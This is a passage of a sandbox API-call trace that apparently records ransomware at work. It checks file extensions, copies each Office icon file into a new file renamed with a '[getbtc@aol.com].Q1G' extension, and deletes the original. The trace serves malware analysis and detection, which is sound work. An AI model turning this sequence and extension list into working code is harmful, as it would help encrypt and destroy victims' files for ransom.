returned 4 [0263.022] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString=".docx") returned 5 [0263.022] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0263.022] lstrlenW (lpString=".pdf") returned 4 [0263.022] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString=".xls") returned 4 [0263.022] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString=".xlsx") returned 5 [0263.022] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0263.022] lstrlenW (lpString=".ppt") returned 4 [0263.022] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString=".zip") returned 4 [0263.022] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString=".rar") returned 4 [0263.022] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString=".bz2") returned 4 [0263.022] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.022] lstrlenW (lpString=".7z") returned 3 [0263.022] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString=".dbf") returned 4 [0263.022] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString=".1cd") returned 4 [0263.022] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString=".jpg") returned 4 [0263.022] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString=".doc") returned 4 [0263.022] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.023] lstrlenW (lpString=".docx") returned 5 [0263.023] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0263.023] lstrlenW (lpString=".pdf") returned 4 [0263.023] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.023] lstrlenW (lpString=".xls") returned 4 [0263.023] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.023] lstrlenW (lpString=".xlsx") returned 5 [0263.023] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0263.023] lstrlenW (lpString=".ppt") returned 4 [0263.023] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.023] lstrlenW (lpString=".zip") returned 4 [0263.023] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.023] lstrlenW (lpString=".rar") returned 4 [0263.023] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.023] lstrlenW (lpString=".bz2") returned 4 [0263.023] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.023] lstrlenW (lpString=".7z") returned 3 [0263.023] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.023] lstrlenW (lpString=".dbf") returned 4 [0263.023] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.023] lstrlenW (lpString=".1cd") returned 4 [0263.023] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.023] lstrlenW (lpString=".jpg") returned 4 [0263.023] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.023] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.023] lstrlenW (lpString="RESENDL.ICO") returned 11 [0263.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.025] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0263.025] CloseHandle (hObject=0x1f8) returned 1 [0263.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico")) returned 0x20 [0263.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.025] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.025] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.027] GetLastError () returned 0x0 [0263.027] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0263.028] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.029] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.029] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.029] SetEndOfFile (hFile=0x39c) returned 1 [0263.029] CloseHandle (hObject=0x39c) returned 1 [0263.029] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.029] SetEndOfFile (hFile=0x1f8) returned 1 [0263.033] CloseHandle (hObject=0x1f8) returned 1 [0263.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico")) returned 1 [0263.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.034] lstrlenW (lpString=".doc") returned 4 [0263.034] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.034] lstrlenW (lpString=".docx") returned 5 [0263.034] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.034] lstrlenW (lpString=".pdf") returned 4 [0263.034] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.034] lstrlenW (lpString=".xls") returned 4 [0263.034] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.034] lstrlenW (lpString=".xlsx") returned 5 [0263.034] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.034] lstrlenW (lpString=".ppt") returned 4 [0263.034] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.034] lstrlenW (lpString=".zip") returned 4 [0263.034] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.034] lstrlenW (lpString=".rar") returned 4 [0263.034] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.035] lstrlenW (lpString=".bz2") returned 4 [0263.035] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.035] lstrlenW (lpString=".7z") returned 3 [0263.035] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.035] lstrlenW (lpString=".dbf") returned 4 [0263.035] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.035] lstrlenW (lpString=".1cd") returned 4 [0263.035] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.035] lstrlenW (lpString=".jpg") returned 4 [0263.035] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.035] lstrlenW (lpString=".doc") returned 4 [0263.035] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.035] lstrlenW (lpString=".docx") returned 5 [0263.035] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.035] lstrlenW (lpString=".pdf") returned 4 [0263.035] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.035] lstrlenW (lpString=".xls") returned 4 [0263.035] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.035] lstrlenW (lpString=".xlsx") returned 5 [0263.035] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.035] lstrlenW (lpString=".ppt") returned 4 [0263.035] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.035] lstrlenW (lpString=".zip") returned 4 [0263.035] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.035] lstrlenW (lpString=".rar") returned 4 [0263.035] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.035] lstrlenW (lpString=".bz2") returned 4 [0263.035] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.035] lstrlenW (lpString=".7z") returned 3 [0263.036] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.036] lstrlenW (lpString=".dbf") returned 4 [0263.036] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.036] lstrlenW (lpString=".1cd") returned 4 [0263.036] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0263.036] lstrlenW (lpString=".jpg") returned 4 [0263.036] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.036] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.036] lstrlenW (lpString="RESENDS.ICO") returned 11 [0263.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.036] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0263.037] CloseHandle (hObject=0x1f8) returned 1 [0263.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico")) returned 0x20 [0263.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.037] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.037] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.038] GetLastError () returned 0x0 [0263.038] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.196] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.197] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.197] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.197] SetEndOfFile (hFile=0x39c) returned 1 [0263.197] CloseHandle (hObject=0x39c) returned 1 [0263.198] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.198] SetEndOfFile (hFile=0x1f8) returned 1 [0263.202] CloseHandle (hObject=0x1f8) returned 1 [0263.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico")) returned 1 [0263.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.203] lstrlenW (lpString=".doc") returned 4 [0263.203] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.203] lstrlenW (lpString=".docx") returned 5 [0263.203] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.203] lstrlenW (lpString=".pdf") returned 4 [0263.203] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString=".xls") returned 4 [0263.204] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString=".xlsx") returned 5 [0263.204] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.204] lstrlenW (lpString=".ppt") returned 4 [0263.204] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.204] lstrlenW (lpString=".zip") returned 4 [0263.204] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString=".rar") returned 4 [0263.204] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString=".bz2") returned 4 [0263.204] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.204] lstrlenW (lpString=".7z") returned 3 [0263.204] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.204] lstrlenW (lpString=".dbf") returned 4 [0263.204] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.204] lstrlenW (lpString=".1cd") returned 4 [0263.204] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.204] lstrlenW (lpString=".jpg") returned 4 [0263.204] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.204] lstrlenW (lpString=".doc") returned 4 [0263.204] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.204] lstrlenW (lpString=".docx") returned 5 [0263.204] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.204] lstrlenW (lpString=".pdf") returned 4 [0263.204] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString=".xls") returned 4 [0263.204] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.204] lstrlenW (lpString=".xlsx") returned 5 [0263.205] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.205] lstrlenW (lpString=".ppt") returned 4 [0263.205] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.205] lstrlenW (lpString=".zip") returned 4 [0263.205] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.205] lstrlenW (lpString=".rar") returned 4 [0263.205] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.205] lstrlenW (lpString=".bz2") returned 4 [0263.205] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.205] lstrlenW (lpString=".7z") returned 3 [0263.205] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.205] lstrlenW (lpString=".dbf") returned 4 [0263.205] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.205] lstrlenW (lpString=".1cd") returned 4 [0263.205] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0263.205] lstrlenW (lpString=".jpg") returned 4 [0263.205] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.205] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.205] lstrlenW (lpString="SCDRESNL.ICO") returned 12 [0263.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.206] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0263.206] CloseHandle (hObject=0x1f8) returned 1 [0263.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico")) returned 0x20 [0263.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.206] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.206] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.207] GetLastError () returned 0x0 [0263.207] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0263.209] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.210] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.210] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.210] SetEndOfFile (hFile=0x39c) returned 1 [0263.210] CloseHandle (hObject=0x39c) returned 1 [0263.210] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.210] SetEndOfFile (hFile=0x1f8) returned 1 [0263.212] CloseHandle (hObject=0x1f8) returned 1 [0263.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico")) returned 1 [0263.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.213] lstrlenW (lpString=".doc") returned 4 [0263.213] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.213] lstrlenW (lpString=".docx") returned 5 [0263.213] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.213] lstrlenW (lpString=".pdf") returned 4 [0263.213] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.213] lstrlenW (lpString=".xls") returned 4 [0263.213] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.213] lstrlenW (lpString=".xlsx") returned 5 [0263.213] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.213] lstrlenW (lpString=".ppt") returned 4 [0263.213] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 